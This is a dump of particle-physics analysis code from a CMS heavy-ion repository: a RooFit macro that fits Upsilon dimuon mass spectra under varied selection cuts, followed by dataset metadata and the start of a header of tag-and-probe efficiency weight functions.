fname2011=\"../dimuonTree_HI2011_fulldataset_trkRot.root\";\n // TFile *_file0 = TFile::Open(fname2011);\n // TTree *upsi2011 = (TTree*)_file0->Get(\"UpsilonTree\");\n \n \n if(pbpb) { TString fname2013=\" ../dimuonTree_upsiMiniTree_AA2p76tev_WithIDCuts_RunHIN-15-001_trigBit1_allTriggers0.root\";//../dimuonTree_upsiMiniTree_aa276tev_regitreco_glbglb_Runa_trigBit1_allTriggers0_pt4.root\";\n }else if(!pbpb){\n TString fname2013=\" ../dimuonTree_upsiMiniTree_pp2p76tev_noIDVars_GlbGlb_RunHIN-15-001_trigBit2_allTriggers0.root\";\n }\n //TString fname2013=\"../upsiMiniTree_pyquen1S_noMuonPtCuts_QQtrigbit1_Trig_analysisOK_20140729_cuts10-006.root\";\n TFile *_file1 = TFile::Open(fname2013);\n TTree *upsi2013 = (TTree*)_file1->Get(\"UpsilonTree\");\n RooRealVar* upsPt = new RooRealVar(\"upsPt\",\"p_{T}(#Upsilon)\",0,60,\"GeV\");\n // RooRealVar* upsEta = new RooRealVar(\"upsEta\", \"upsEta\" ,-10,10);\n RooRealVar* upsRapidity= new RooRealVar(\"upsRapidity\", \"upsRapidity\",-1000, 1000);\n RooRealVar* vProb = new RooRealVar(\"vProb\", \"vProb\" ,0.01,1.00);\n RooRealVar* _dca = new RooRealVar(\"_dca\", \"_dca\" ,0.0,5.00);\n RooRealVar* _ctau = new RooRealVar(\"_ctau\", \"_ctau\" ,-100,100,\"cm\");\n RooRealVar* _ctauErr = new RooRealVar(\"_ctauErr\", \"_ctauErr\" ,-100,100,\"cm\");\n RooRealVar* muPlusPt = new RooRealVar(\"muPlusPt\",\"muPlusPt\",3.5,100);\n RooRealVar* muMinusPt = new RooRealVar(\"muMinusPt\",\"muMinusPt\",3.5,100);\n RooRealVar* muPlusEta = new RooRealVar(\"muPlusEta\",\"muPlusEta\", -2.4,2.4);\n RooRealVar* muMinusEta = new RooRealVar(\"muMinusEta\",\"muMinusEta\",-2.4,2.4);\n RooRealVar* _mupl_StationsMatched = new RooRealVar(\"_mupl_StationsMatched\",\"_mupl_StationsMatched\",0,5);\n RooRealVar* _mumi_StationsMatched = new RooRealVar(\"_mumi_StationsMatched\",\"_mumi_StationsMatched\",0,5);\n RooRealVar* muMinusEta = new RooRealVar(\"muMinusEta\",\"muMinusEta\",-2.4,2.4);\n RooRealVar* mass = new RooRealVar(\"invariantMass\",\"#mu#mu mass\",7,14,\"GeV/c^{2}\"); \n TCut cut_acc = \" ((muPlusPt >3.5 && muMinusPt>4)||(muPlusPt>4 &&muMinusPt>3.5)) && abs(upsRapidity)<2.4 && (invariantMass<14 && invariantMass>7)\"; // \n cout << \"cut: \"<< cut_acc.Print() << endl;\n // TCut cut_add(cutList(1,1));\n //cout << \"cut: \"<< cut_add.Print() << endl;\n \n switch (kCut){\n case 1: //vProb] \n RooDataSet *data0 = new RooDataSet(\"data0\",\"data0\",upsi2013,\n\t\t\t\t RooArgSet(*mass,*muPlusPt,*muMinusPt,*upsRapidity,*vProb));\n string cut[4]={\"vProb>0.01\",// very loose\n\t\t \"vProb>0.05\",\n\t\t \"vProb>0.1\",\n\t\t \"vProb>0.2\"};//very tight\n // for plotting purposes...\n break;\n case 2: //dca\n RooDataSet *data0 = new RooDataSet(\"data0\",\"data0\",upsi2013,\n\t\t\t\t RooArgSet(*mass,*muPlusPt,*muMinusPt,*upsRapidity,*_dca));\n string cut[4]={\"_dca<0.004\", //very tight\n\t\t \"_dca<0.006\",\n\t\t \"_dca<0.008\",\n\t\t \"_dca<0.01\"}; // very loose\n break;\n case 3: // number of matched Stations\n RooDataSet *data0 = new RooDataSet(\"data0\",\"data0\",upsi2013,\n\t\t\t\t RooArgSet(*mass,*muPlusPt,*muMinusPt,*upsRapidity,*_mupl_StationsMatched,*_mumi_StationsMatched));\n string cut[4]={ \"_mumi_StationsMatched>0&&_mupl_StationsMatched>0\", \n\t\t \"_mumi_StationsMatched>1&&_mupl_StationsMatched>1\",\n\t\t \"_mumi_StationsMatched>2&&_mupl_StationsMatched>2\",\n\t\t \"_mumi_StationsMatched>3&&_mupl_StationsMatched>3\"};\n string cutname[4]={ \"at least one\", \n\t\t\t \"more than 1\",\n\t\t\t \"more than 2\",\n\t\t\t \"more than 3\"};\n break;\n case 4: ///fabs(ctau/ctau_err)\n RooDataSet *data0 = new RooDataSet(\"data0\",\"data0\",upsi2013,\n\t\t\t\t RooArgSet(*mass,*muPlusPt,*muMinusPt,*upsRapidity,*_ctau,*_ctauErr));\n \n string cut[4]={\"abs(_ctau/_ctauErr)<5\",//very loose\n\t\t \"abs(_ctau/_ctauErr)<4\" ,\n\t\t \"abs(_ctau/_ctauErr)<3\" ,\n\t\t \"abs(_ctau/_ctauErr)<2\" }; //tighter\n string cutname[4]={\"|c#tau/#sigma(c#tau)| < 5\", \n\t\t \"|c#tau/#sigma(c#tau)| < 4\",\n\t\t \"|c#tau/#sigma(c#tau)| < 3\",\n\t\t \"|c#tau/#sigma(c#tau)| < 2\"};\n break;\n default:\n cout<< \"no Cut Variable specified!\"<<endl; break;\n }\n TCut cut_add1((cut[0]).c_str());\n TCut cut_add2((cut[1]).c_str()); \n TCut cut_add3((cut[2]).c_str());\n TCut cut_add4((cut[3]).c_str());\n TString figName_(Form(\"%s\",(cut[0]).c_str()));\n figName_.ReplaceAll(\">\",\"_gt\");\n figName_.ReplaceAll(\"<\",\"_lt\");\n figName_.ReplaceAll(\".\",\"p\");\n figName_.ReplaceAll(\"&&\",\"_AND_\");\n figName_.ReplaceAll(\"||\",\"_OR_\");\n figName_.ReplaceAll(\"(\",\"\");\n figName_.ReplaceAll(\"/\",\"-\");\n figName_.ReplaceAll(\")\",\"\");\n \n cout << \"hello\"<< endl;\n // cut_add.Print();\n\n int nt = data0->sumEntries();\n redData1 = ( RooDataSet*) data0->reduce(Cut(cut_acc+cut_add1));\n redData1->Print();\n TH1D *MReco1;\n MReco1 = new TH1D(\"MReco1\",\"Reco di-muon mass\",70,7,14);\n MReco1 = (TH1D*) redData1->createHistogram(\"invariantMass\",*mass);\n redData2 = ( RooDataSet*) data0->reduce(Cut(cut_acc+cut_add2));\n redData2->Print();\n TH1D *MReco2;\n MReco2 = new TH1D(\"MReco2\",\"Reco di-muon mass\",70,7,14);\n MReco2 = (TH1D*) redData2->createHistogram(\"invariantMass\",*mass);\n redData3 = ( RooDataSet*) data0->reduce(Cut(cut_acc+cut_add3));\n redData3->Print();\n TH1D *MReco3;\n MReco3 = new TH1D(\"MReco3\",\"Reco di-muon mass\",70,7,14);\n MReco3 = (TH1D*) redData3->createHistogram(\"invariantMass\",*mass);\n redData4 = ( RooDataSet*) data0->reduce(Cut(cut_acc+cut_add4));\n redData4->Print();\n TH1D *MReco4;\n MReco4 = new TH1D(\"MReco4\",\"Reco di-muon mass\",70,7,14);\n MReco4 = (TH1D*) redData4->createHistogram(\"invariantMass\",*mass);\n const double M1S = 9.46; //upsilon 1S pgd mass value\n const double M2S = 10.023; //upsilon 2S pgd mass value\n const double M3S = 10.355; //upsilon 3S pgd mass value\n RooRealVar *nsig1f = new RooRealVar(\"N_{#Upsilon(1S)}\",\"nsig1S\",0,nt*10);\n RooRealVar *nsig2f = new RooRealVar(\"N_{#Upsilon(2S)}\",\"nsig2S\", nt*0.25,-1*nt,10*nt);\n RooRealVar *nsig3f = new RooRealVar(\"N_{#Upsilon(3S)}\",\"nsig3S\", nt*0.25,-1*nt,10*nt);\n RooRealVar *mean = new RooRealVar(\"mass1S\",\"#Upsilon mean\",M1S,M1S-0.1,M1S+0.1);\n RooConstVar *rat2 = new RooConstVar(\"rat2\", \"rat2\", M2S/M1S);\n RooConstVar *rat3 = new RooConstVar(\"rat3\", \"rat3\", M3S/M1S);\n // scale mean and resolution by mass ratio\n RooFormulaVar *mean1S = new RooFormulaVar(\"mean1S\",\"@0\",RooArgList(*mean));\n RooFormulaVar *mean2S = new RooFormulaVar(\"mean2S\",\"@0*@1\", RooArgList(*mean,*rat2));\n RooFormulaVar *mean3S = new RooFormulaVar(\"mean3S\",\"@0*@1\", RooArgList(*mean,*rat3));\n \n //detector resolution ?? where is this coming from?\n RooRealVar *sigma1 = new RooRealVar(\"#sigma_{CB1}\",\"#sigma_{CB1}\",0,0.5); // \n RooFormulaVar *sigma1S = new RooFormulaVar(\"sigma1S\",\"@0\" ,RooArgList(*sigma1));\n RooFormulaVar *sigma2S = new RooFormulaVar(\"sigma2S\",\"@0*@1\",RooArgList(*sigma1,*rat2));\n RooFormulaVar *sigma3S = new RooFormulaVar(\"sigma3S\",\"@0*@1\",RooArgList(*sigma1,*rat3));\n RooRealVar *alpha = new RooRealVar(\"#alpha_{CB}\",\"tail shift\",0.01,8); // MC 5tev 1S pol2 \n RooRealVar *npow = new RooRealVar(\"npow\",\"power order\",1,60); // MC 5tev 1S pol2 \n RooRealVar *sigmaFraction = new RooRealVar(\"sigmaFraction\",\"Sigma Fraction\",0.,1.);\n // scale the sigmaGaus with sigma1S*scale=sigmaGaus now.\n RooRealVar *scaleWidth = new RooRealVar(\"#sigma_{CB2}/#sigma_{CB1}\",\"scaleWidth\",1.,2.7);\n RooFormulaVar *sigmaGaus = new RooFormulaVar(\"sigmaGaus\",\"@0*@1\", RooArgList(*sigma1,*scaleWidth));\n RooFormulaVar *sigmaGaus2 = new RooFormulaVar(\"sigmaGaus\",\"@0*@1*@2\", RooArgList(*sigma1,*scaleWidth,*rat2));\n RooFormulaVar *sigmaGaus3 = new RooFormulaVar(\"sigmaGaus\",\"@0*@1*@2\", RooArgList(*sigma1,*scaleWidth,*rat3));\n RooCBShape *cb1S_1 = new RooCBShape (\"cb1S_1\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean1S,*sigma1,*alpha,*npow);\n \n RooCBShape *cb1S_2 = new RooCBShape (\"cb1S_2\", \"FSR cb 1s\",\n\t\t\t\t\t *mass,*mean1S,*sigmaGaus,*alpha,*npow);\n RooAddPdf *sig1S = new RooAddPdf (\"cbcb\",\"1S mass pdf\",\n\t\t\t\t\t RooArgList(*cb1S_1,*cb1S_2),*sigmaFraction);\n // /// Upsilon 2S\n RooCBShape *cb2S_1 = new RooCBShape (\"cb2S_1\", \"FSR cb 2s\", \n\t\t\t\t\t *mass,*mean2S,*sigma2S,*alpha,*npow); \n RooCBShape *cb2S_2 = new RooCBShape (\"cb2S_2\", \"FSR cb 2s\", \n\t\t\t\t\t *mass,*mean2S,*sigmaGaus2,*alpha,*npow); \n RooAddPdf *sig2S = new RooAddPdf (\"sig2S\",\"2S mass pdf\",\n\t\t\t\t\t RooArgList(*cb2S_1,*cb2S_2),*sigmaFraction);\n \n // /// Upsilon 3S\n RooCBShape *cb3S_1 = new RooCBShape (\"cb3S_1\", \"FSR cb 3s\", \n\t\t\t\t\t *mass,*mean3S,*sigma3S,*alpha,*npow); \n RooCBShape *cb3S_2 = new RooCBShape (\"cb3S_2\", \"FSR cb 3s\", \n\t\t\t\t\t *mass,*mean3S,*sigmaGaus3,*alpha,*npow); \n RooAddPdf *sig3S = new RooAddPdf (\"sig3S\",\"3S mass pdf\",\n\t\t\t\t\t RooArgList(*cb3S_1,*cb3S_2),*sigmaFraction);\n // bkg Chebychev\n RooRealVar *nbkgd = new RooRealVar(\"n_{Bkgd}\",\"nbkgd\",0,nt);\n RooRealVar *bkg_a1 = new RooRealVar(\"a1_bkg\", \"bkg_{a1}\", 0, -5, 5);\n RooRealVar *bkg_a2 = new RooRealVar(\"a2_Bkg\", \"bkg_{a2}\", 0, -5, 5);\n RooRealVar *bkg_a3 = new RooRealVar(\"a3_Bkg\", \"bkg_{a3}\", 0, -2, 2);\n RooAbsPdf *pdf_combinedbkgd = new RooChebychev(\"bkgPdf\",\"bkgPdf\",\n\t\t\t\t\t\t *mass, RooArgList(*bkg_a1,*bkg_a2));\n RooRealVar turnOn(\"turnOn\",\"turnOn\",2.,8.6);\n RooRealVar width(\"width\",\"width\",0.3,8.5);// MB 2.63\n RooRealVar decay(\"decay\",\"decay\",1,18);// MB: 3.39\n RooGenericPdf *ErrPdf = new RooGenericPdf(\"ErrPdf\",\"ErrPdf\",\n\t\t\t\t\t\t \"exp(-@0/decay)*(TMath::Erf((@0-turnOn)/width)+1)\",\n\t\t\t\t\t\t RooArgList(*mass,turnOn,width,decay));\n \n\n // bkg_a2->setVal(0);\n // bkg_a2->setConstant();\n RooDataHist binnedData1 (\"binnedData1\",\"binnedData1\",*mass,Import(*MReco1)); \n RooDataHist binnedData2 (\"binnedData2\",\"binnedData2\",*mass,Import(*MReco2));\n RooDataHist binnedData3 (\"binnedData3\",\"binnedData3\",*mass,Import(*MReco3));\n RooDataHist binnedData4 (\"binnedData4\",\"binnedData4\",*mass,Import(*MReco4));\n RooAbsPdf *pdf = new RooAddPdf (\"pdf\",\"total p.d.f.\",\n\t\t\t\t\t RooArgList(*sig1S,*sig2S,*sig3S,*ErrPdf),\n\t\t\t\t\t RooArgList(*nsig1f,*nsig2f,*nsig3f,*nbkgd));\n npow->setVal(2);\n npow->setConstant();\n //for the plots!\n TCanvas c; c.cd(); \n TPad phead(\"phead\",\"phead\",0.05,0.9,1.,1.,0,0,0); \n phead.Draw(); phead.cd();\n TLatex *cms = new TLatex (0.1,0.1,\"CMS Internal\");\n cms->SetTextFont(40);\n cms->SetTextSize(0.4);\n cms->SetTextColor(kBlack);\n cms->Draw(); \n if(pbpb){ TLatex *pbpb = new TLatex (0.6,0.1,\"PbPb #sqrt{s_{NN}} = 2.76 TeV\");\n pbpb->SetTextFont(42);\n pbpb->SetTextSize(0.35);\n pbpb->SetTextColor(kBlack);\n pbpb->Draw(); \n }else if(!pbpb){\n TLatex *pp = new TLatex (0.6,0.1,\"pp #sqrt{s} = 2.76 TeV\");\n pp->SetTextFont(42);\n pp->SetTextSize(0.35);\n pp->SetTextColor(kBlack);\n pp->Draw(); \n }\n TPad pbody(\"pbody\",\"pbody\",0.0,0.0,1.,0.9,0,0,0);\n c.cd();\n pbody.SetLeftMargin(0.15);\n pbody.Draw(); pbody.cd();\n RooPlot* frame = mass->frame(Bins(70),Range(7,14));\n // 1st round\n RooAbsReal* nll1 = pdf->createNLL(binnedData1,NumCPU(4)) ;\n RooMinuit(*nll1).migrad();\n RooMinuit(*nll1).hesse();\n binnedData1.plotOn(frame,Name(\"theData\"),MarkerSize(0.6),MarkerStyle(20),MarkerColor(kBlue)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(kBlue)); \n double signif1 = nsig1f->getVal()/nsig1f->getError();\n double signif1_2s = nsig2f->getVal()/nsig2f->getError();\n double signif1_3s = nsig3f->getVal()/nsig3f->getError();\n MReco1->SetMarkerSize(1.0);\n MReco1->SetMarkerStyle(20);\n MReco1->SetMarkerColor(kBlue);\n MReco1->Draw(\"esame\"); \n // 2nd round\n RooAbsReal* nll2 = pdf->createNLL(binnedData2,NumCPU(4)) ;\n RooMinuit(*nll2).migrad();\n RooMinuit(*nll2).hesse();\n binnedData2.plotOn(frame,Name(\"theData\"),MarkerSize(0.6),MarkerStyle(20),MarkerColor(kRed)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(kRed)); \n double signif2 = nsig1f->getVal()/nsig1f->getError();\n double signif2_2s = nsig2f->getVal()/nsig2f->getError();\n double signif2_3s = nsig3f->getVal()/nsig3f->getError();\n MReco2->SetMarkerSize(1.0);\n MReco2->SetMarkerStyle(20);\n MReco2->SetMarkerColor(kRed);\n MReco2->Draw(\"esame\"); \n // 3rd round\n RooAbsReal* nll3 = pdf->createNLL(binnedData3,NumCPU(4)) ;\n RooMinuit(*nll3).migrad();\n RooMinuit(*nll3).hesse();\n binnedData3.plotOn(frame,Name(\"theData\"),MarkerSize(0.6),MarkerStyle(20),MarkerColor(8)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(8)); \n double signif3 = nsig1f->getVal()/nsig1f->getError();\n double signif3_2s = nsig2f->getVal()/nsig2f->getError();\n double signif3_3s = nsig3f->getVal()/nsig3f->getError();\n MReco3->SetMarkerSize(1.0);\n MReco3->SetMarkerStyle(20);\n MReco3->SetMarkerColor(8);\n MReco3->Draw(\"esame\"); \n // 4th round\n RooAbsReal* nll4 = pdf->createNLL(binnedData4,NumCPU(4)) ;\n RooMinuit(*nll4).migrad();\n RooMinuit(*nll4).hesse();\n binnedData4.plotOn(frame,Name(\"theData\"),MarkerSize(0.6),MarkerStyle(20),MarkerColor(28)); \n pdf->plotOn(frame,Name(\"thePdf\"),LineColor(28)); \n double signif4 = nsig1f->getVal()/nsig1f->getError();\n double signif4_2s = nsig2f->getVal()/nsig2f->getError();\n double signif4_3s = nsig3f->getVal()/nsig3f->getError();\n // pdf->paramOn(frame,Layout(0.5,0.95,0.9),Parameters(RooArgSet(signif)),Format(\"N\",AutoPrecision(1)));\n MReco4->SetMarkerSize(1.0);\n MReco4->SetMarkerStyle(20);\n MReco4->SetMarkerColor(28);\n MReco4->Draw(\"esame\"); \n // and all that.\n frame->SetTitle(\"\");\n frame->GetXaxis()->SetTitle(\"m_{#mu^{+}#mu^{-}} (GeV/c^{2})\");\n frame->GetXaxis()->CenterTitle(kTRUE);\n frame->GetYaxis()->SetTitleOffset(2);\n frame->GetXaxis()->SetTitleOffset(1.5);\n frame->Draw();\n TLegend *legend = new TLegend(0.5,0.6,0.95,0.9);\n legend->SetTextSize(0.034);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(MReco1,\"1S significance, #Sigma\",\"\");\n switch (kCut){\n case 1: //vProb] \n legend->AddEntry(MReco1,\"Vertex Probability\",\"\");\n legend->AddEntry(MReco1,Form(\"%s, #Sigma = %0.2f\",cut[0].c_str(),signif1),\"p\");\n legend->AddEntry(MReco2,Form(\"%s, #Sigma = %0.2f\",cut[1].c_str(),signif2),\"p\");\n legend->AddEntry(MReco3,Form(\"%s, #Sigma = %0.2f\",cut[2].c_str(),signif3),\"p\");\n legend->AddEntry(MReco4,Form(\"%s, #Sigma = %0.2f\",cut[3].c_str(),signif4),\"p\");\n break;\n case 2: \n legend->AddEntry(MReco1,\"Dist. of closest approach\",\"\");\n legend->AddEntry(MReco1,Form(\"%s, #Sigma = %0.2f\",cut[0].c_str(),signif1),\"p\");\n legend->AddEntry(MReco2,Form(\"%s, #Sigma = %0.2f\",cut[1].c_str(),signif2),\"p\");\n legend->AddEntry(MReco3,Form(\"%s, #Sigma = %0.2f\",cut[2].c_str(),signif3),\"p\");\n legend->AddEntry(MReco4,Form(\"%s, #Sigma = %0.2f\",cut[3].c_str(),signif4),\"p\");\n break;\n case 3:\n legend->AddEntry(MReco1,\"Stations matched to each track\",\"\");\n legend->AddEntry(MReco1,Form(\"%s, #Sigma = %0.2f\",cutname[0].c_str(),signif1),\"p\");\n legend->AddEntry(MReco2,Form(\"%s, #Sigma = %0.2f\",cutname[1].c_str(),signif2),\"p\");\n legend->AddEntry(MReco3,Form(\"%s, #Sigma = %0.2f\",cutname[2].c_str(),signif3),\"p\");\n legend->AddEntry(MReco4,Form(\"%s, #Sigma = %0.2f\",cutname[3].c_str(),signif4),\"p\");\n break;\n case 4:\n legend->AddEntry(MReco1,\"Pseudo-proper decay length\",\"\");\n legend->AddEntry(MReco1,Form(\"%s, #Sigma = %0.2f\",cutname[0].c_str(),signif1),\"p\");\n legend->AddEntry(MReco2,Form(\"%s, #Sigma = %0.2f\",cutname[1].c_str(),signif2),\"p\");\n legend->AddEntry(MReco3,Form(\"%s, #Sigma = %0.2f\",cutname[2].c_str(),signif3),\"p\");\n legend->AddEntry(MReco4,Form(\"%s, #Sigma = %0.2f\",cutname[3].c_str(),signif4),\"p\");\n break;\n default: break;\n }\n legend->Draw();\n // legend->AddEntry(MReco1,Form(\",),\"f\");\n // TLatex latex1;\n // latex1.SetNDC();\n // latex1.SetTextSize(0.032);\n // latex1.DrawLatex(0.35,1.-0.05*2.,Form(\"significance: #Sigma vs %s\",cut[0].c_str()));\n // latex1.DrawLatex(0.55,1.-0.05*3.,Form(\" #Sigma = %f\",signif1));\n // latex1.DrawLatex(0.55,1.-0.05*4.,Form(\" #Sigma = %f\",signif2));\n // latex1.DrawLatex(0.55,1.-0.05*5.,Form(\" #Sigma = %f\",signif3));\n // latex1.DrawLatex(0.55,1.-0.05*6.,Form(\" #Sigma = %f\",signif4));\n c.Draw();\n if(pbpb){\n c.SaveAs(\"~/Desktop/Grenelle/\"+figName_+\".pdf\");\n }\n else if(!pbpb){\n c.SaveAs(\"~/Desktop/Grenelle/\"+figName_+\"_pp.pdf\");\n }\n \n cout <<\" SIGNIFICANCES \\\\Sigma OF ALL STATES:\" << endl;\n cout << \"xxxx - \\\\Sigma(1S) \\& \\\\Sigma(2S) \\& \\\\Sigma(3S) \" <<endl;\n cout << cut[0].c_str() <<\" & \"<< signif1 << \" &\"<< signif1_2s << \" & \"<< signif1_3s << endl;\n cout << cut[1].c_str() <<\" & \"<< signif2 << \" &\"<< signif2_2s << \" & \"<< signif2_3s << endl;\n cout << cut[2].c_str() <<\" & \"<< signif3 << \" &\"<< signif3_2s << \" & \"<< signif3_3s << endl;\n cout << cut[3].c_str() <<\" & \"<< signif4 << \" &\"<< signif4_2s << \" & \"<< signif4_3s << endl;\n}\n" }, { "alpha_fraction": 0.29130685329437256, "alphanum_fraction": 0.5192644000053406, "avg_line_length": 66.7916030883789, "blob_id": "2a60af019eb84dcde7ffdb6321ca01d126c0f0a8", "content_id": "6d48939744a000caa1e45a7070c78790c25170d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 92061, "license_type": "no_license", "max_line_length": 77, "num_lines": 1358, "path": "/acceptance_efficiency/tnp_weight_statonly.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef tnp_weight_statonly_h\n#define tnp_weight_statonly_h\n\n#include \"TMath.h\"\n\n////////////////////////////////////////////////\n// ___ _____ _ _____ ___ _ _ _ __ __ //\n// / __|_ _/_\\_ _| / _ \\| \\| | |\\ \\ / / //\n// \\__ \\ | |/ _ \\| | | (_) | .` | |_\\ V / //\n// |___/ |_/_/ \\_\\_| \\___/|_|\\_|____|_| //\n// //\n////////////////////////////////////////////////\n\n// NB\n// idx = 0 -> nominal\n// idx = 1..100 -> 100 variations\n// idx = -1 ->typical +1 sigma\n// idx = -2 -> typical -1 sigma\n// idx = -1 or -2 ARE FOR ILLUSTRATING PURPOSE ONLY. DO NOT USE FOR ANALYSIS.\n\n/////////////////////////////////////////////////////////////\n// M U I D + T R G P b P b //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_statonly_muidtrg_pbpb(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9724*TMath::Erf((x-0.4114)/3.3775);\n else if (fabs(eta)<1.6) den = 0.9502*TMath::Erf((x-1.3857)/2.0757);\n else if (fabs(eta)<2.1) den = 0.8971*TMath::Erf((x-1.0984)/2.3510);\n else den = 0.7763*TMath::Erf((x-0.8419)/1.6742);\n\n // numerator (from data)\n double num=1;\n\n if (fabs(eta)<0.9)\n {\n if (idx==0) num = 0.9646*TMath::Erf((x-0.1260)/3.5155);\n else if (idx == -1 ) num = 0.9708*TMath::Erf((x-0.0024)/3.6167);\n else if (idx == -2 ) num = 0.9582*TMath::Erf((x-0.3940)/3.2851);\n else if (idx == 1 ) num = 0.9580*TMath::Erf((x-0.0001)/3.3987);\n else if (idx == 2 ) num = 0.9700*TMath::Erf((x-0.0001)/3.8239);\n else if (idx == 3 ) num = 0.9584*TMath::Erf((x-0.0010)/3.5980);\n else if (idx == 4 ) num = 0.9586*TMath::Erf((x-0.0001)/3.6194);\n else if (idx == 5 ) num = 0.9677*TMath::Erf((x-0.4618)/3.3114);\n else if (idx == 6 ) num = 0.9532*TMath::Erf((x-0.0032)/3.5537);\n else if (idx == 7 ) num = 0.9552*TMath::Erf((x-0.4666)/3.2115);\n else if (idx == 8 ) num = 0.9699*TMath::Erf((x-0.4640)/3.1621);\n else if (idx == 9 ) num = 0.9632*TMath::Erf((x-0.0075)/3.5914);\n else if (idx == 10 ) num = 0.9661*TMath::Erf((x-0.0000)/3.6240);\n else if (idx == 11 ) num = 0.9655*TMath::Erf((x-0.0555)/3.5126);\n else if (idx == 12 ) num = 0.9512*TMath::Erf((x-0.0018)/3.5403);\n else if (idx == 13 ) num = 0.9637*TMath::Erf((x-0.4283)/3.3204);\n else if (idx == 14 ) num = 0.9714*TMath::Erf((x-0.0028)/3.5921);\n else if (idx == 15 ) num = 0.9606*TMath::Erf((x-0.0079)/3.5818);\n else if (idx == 16 ) num = 0.9762*TMath::Erf((x-0.0001)/3.7796);\n else if (idx == 17 ) num = 0.9726*TMath::Erf((x-0.2160)/3.5547);\n else if (idx == 18 ) num = 0.9620*TMath::Erf((x-0.0001)/3.3431);\n else if (idx == 19 ) num = 0.9628*TMath::Erf((x-0.0025)/3.6435);\n else if (idx == 20 ) num = 0.9636*TMath::Erf((x-0.0343)/3.5076);\n else if (idx == 21 ) num = 0.9579*TMath::Erf((x-0.0021)/3.5104);\n else if (idx == 22 ) num = 0.9659*TMath::Erf((x-0.3535)/3.4405);\n else if (idx == 23 ) num = 0.9636*TMath::Erf((x-0.0000)/3.5128);\n else if (idx == 24 ) num = 0.9679*TMath::Erf((x-0.0001)/3.5950);\n else if (idx == 25 ) num = 0.9781*TMath::Erf((x-0.1624)/3.5441);\n else if (idx == 26 ) num = 0.9661*TMath::Erf((x-0.1073)/3.4927);\n else if (idx == 27 ) num = 0.9668*TMath::Erf((x-0.0008)/3.7302);\n else if (idx == 28 ) num = 0.9689*TMath::Erf((x-0.0148)/3.6462);\n else if (idx == 29 ) num = 0.9546*TMath::Erf((x-0.0001)/3.5153);\n else if (idx == 30 ) num = 0.9697*TMath::Erf((x-0.4878)/3.3219);\n else if (idx == 31 ) num = 0.9665*TMath::Erf((x-0.0047)/3.5859);\n else if (idx == 32 ) num = 0.9577*TMath::Erf((x-0.0023)/3.5728);\n else if (idx == 33 ) num = 0.9637*TMath::Erf((x-1.1384)/2.6215);\n else if (idx == 34 ) num = 0.9681*TMath::Erf((x-0.0000)/3.6458);\n else if (idx == 35 ) num = 0.9586*TMath::Erf((x-0.6170)/2.9608);\n else if (idx == 36 ) num = 0.9592*TMath::Erf((x-0.0356)/3.5520);\n else if (idx == 37 ) num = 0.9728*TMath::Erf((x-0.4801)/3.3046);\n else if (idx == 38 ) num = 0.9687*TMath::Erf((x-0.0048)/3.5840);\n else if (idx == 39 ) num = 0.9665*TMath::Erf((x-0.0031)/3.7074);\n else if (idx == 40 ) num = 0.9692*TMath::Erf((x-0.4004)/3.3315);\n else if (idx == 41 ) num = 0.9621*TMath::Erf((x-0.0010)/3.6909);\n else if (idx == 42 ) num = 0.9640*TMath::Erf((x-0.1493)/3.5289);\n else if (idx == 43 ) num = 0.9550*TMath::Erf((x-1.1878)/2.5480);\n else if (idx == 44 ) num = 0.9621*TMath::Erf((x-0.1472)/3.4247);\n else if (idx == 45 ) num = 0.9575*TMath::Erf((x-1.1371)/2.5032);\n else if (idx == 46 ) num = 0.9625*TMath::Erf((x-0.0021)/3.5871);\n else if (idx == 47 ) num = 0.9600*TMath::Erf((x-0.0000)/3.6078);\n else if (idx == 48 ) num = 0.9666*TMath::Erf((x-0.0697)/3.4470);\n else if (idx == 49 ) num = 0.9559*TMath::Erf((x-0.0080)/3.6261);\n else if (idx == 50 ) num = 0.9640*TMath::Erf((x-0.0007)/3.6154);\n else if (idx == 51 ) num = 0.9648*TMath::Erf((x-0.0000)/3.6528);\n else if (idx == 52 ) num = 0.9631*TMath::Erf((x-0.1540)/3.3775);\n else if (idx == 53 ) num = 0.9524*TMath::Erf((x-1.1822)/2.5716);\n else if (idx == 54 ) num = 0.9669*TMath::Erf((x-0.7193)/2.9984);\n else if (idx == 55 ) num = 0.9611*TMath::Erf((x-0.0020)/3.5976);\n else if (idx == 56 ) num = 0.9628*TMath::Erf((x-0.0049)/3.5352);\n else if (idx == 57 ) num = 0.9722*TMath::Erf((x-0.0000)/3.7260);\n else if (idx == 58 ) num = 0.9605*TMath::Erf((x-0.1179)/3.5161);\n else if (idx == 59 ) num = 0.9661*TMath::Erf((x-0.0001)/3.6233);\n else if (idx == 60 ) num = 0.9631*TMath::Erf((x-0.8113)/2.8734);\n else if (idx == 61 ) num = 0.9688*TMath::Erf((x-0.3675)/3.3700);\n else if (idx == 62 ) num = 0.9590*TMath::Erf((x-1.0540)/2.6185);\n else if (idx == 63 ) num = 0.9699*TMath::Erf((x-0.5861)/3.2081);\n else if (idx == 64 ) num = 0.9648*TMath::Erf((x-0.0587)/3.5212);\n else if (idx == 65 ) num = 0.9589*TMath::Erf((x-1.4212)/2.3152);\n else if (idx == 66 ) num = 0.9567*TMath::Erf((x-1.2436)/2.5294);\n else if (idx == 67 ) num = 0.9669*TMath::Erf((x-0.5060)/3.2238);\n else if (idx == 68 ) num = 0.9653*TMath::Erf((x-0.7611)/2.9642);\n else if (idx == 69 ) num = 0.9499*TMath::Erf((x-1.5697)/2.1802);\n else if (idx == 70 ) num = 0.9536*TMath::Erf((x-0.0007)/3.5021);\n else if (idx == 71 ) num = 0.9579*TMath::Erf((x-0.0001)/3.4084);\n else if (idx == 72 ) num = 0.9646*TMath::Erf((x-0.2299)/3.4096);\n else if (idx == 73 ) num = 0.9643*TMath::Erf((x-0.7476)/2.9606);\n else if (idx == 74 ) num = 0.9678*TMath::Erf((x-0.0091)/3.7134);\n else if (idx == 75 ) num = 0.9707*TMath::Erf((x-0.0002)/3.6366);\n else if (idx == 76 ) num = 